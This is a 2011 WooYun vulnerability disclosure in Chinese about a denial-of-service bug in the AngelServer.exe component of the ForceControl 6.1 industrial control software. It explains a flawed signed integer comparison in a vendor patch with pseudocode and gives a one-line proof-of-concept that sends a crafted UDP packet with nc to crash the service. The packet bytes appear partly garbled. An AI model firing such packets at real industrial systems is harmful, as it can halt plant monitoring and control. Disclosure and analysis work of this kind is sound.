漏洞概要 关注数(24) 关注此漏洞
缺陷编号:wooyun-2011-02843
漏洞标题:三维力控ForceControl 6.1请求堆缓冲区溢出
相关厂商:北京三维力控科技有限公司
漏洞作者: john
提交时间:2011-09-19 13:41
修复时间:2011-09-19 13:47
公开时间:2011-09-19 13:47
漏洞类型:远程代码执行
危害等级:高
自评Rank:10
漏洞状态:未联系到厂商或者厂商积极忽略
漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]
Tags标签: 无
漏洞详情
披露状态:
2011-09-19: 积极联系厂商并且等待厂商认领中,细节不对外公开
2011-09-19: 厂商已经主动忽略漏洞,细节向公众公开
简要描述:
2011年5月17日,三维力控提供补丁,AngelServer.exe版本升级到6.0.11.3。
这个版本本意是对前述漏洞进行修补,经过析,此补丁由于错误地进行有符号32-bits整型比较,引入了新的DoS漏洞
详细说明:
关键代码如下:
--------------------------------------------------------------------------
unsigned char *buf;
int count, i;
if ( len( udpdata[] ) >= 16 )
{
count = *( unsigned int * )( udpdata + 0x8 );
i = len( udpdata[] ) - 16;
/* 开发人员在修补时增加了一个长度比较,如果发现count比实际接收的数据段
* 长度i小,才进行后续处理。这个修补思路是对的,但是进行长度比较时,是
* 进行了有符号32-bits整数比较,当count高位置1时,也就是count是一个大
* 的负数时,这个判断会被绕过!
*/
if ( i >= count )
{
/*
* 当count高位置1时,这个分配内存的动作(实际是new操作)会失败,并抛
* 出异常,没有SEH进行保护,最终导致AngelServer.exe进程崩溃。
*
* 即使分配成功,最终也会触发后续的内存读访问违例。
*/
buf = ( unsigned char * )calloc( count + 16, 1 );
...
}
}
--------------------------------------------------------------------------
PoC(UDP端口是动态的,假设目标端口是1065/UDP):
perl.exe -e "print "�����������x80���x41"" | nc -u -n 10.17.2.3 1065
上述PoC会导致AngelServer.exe进程立即崩溃。
另外,美国工业控制系统网络紧急响应小组的安全公告里认为CNVD-2011-05348这个漏洞是一个堆溢出,根据初步分析,我认为这个结论不正确,没有堆溢出,仅仅是畸型报文引发内
存读访问违例,最终导致AngelServer.exe进程崩溃。
关键代码如下:
--------------------------------------------------------------------------
if ( len( udpdata[] ) >= 16 )
{
count = *( unsigned int * )( udpdata + 0x8 );
type = *( unsigned int * )( udpdata + 0xC );
if ( 0 != type && 1 != type )
{
for ( i = 0; i < count; i++ )
{
...
/*
* 在此发生内存读访问违例
*/
c = udpdata[0x10+i];
...
}
}
}
--------------------------------------------------------------------------
漏洞证明:
修复方案:
版权声明:转载请注明来源 john@乌云
漏洞回应
厂商回应:
未能联系到厂商或者厂商积极拒绝
漏洞Rank:15 (WooYun评价)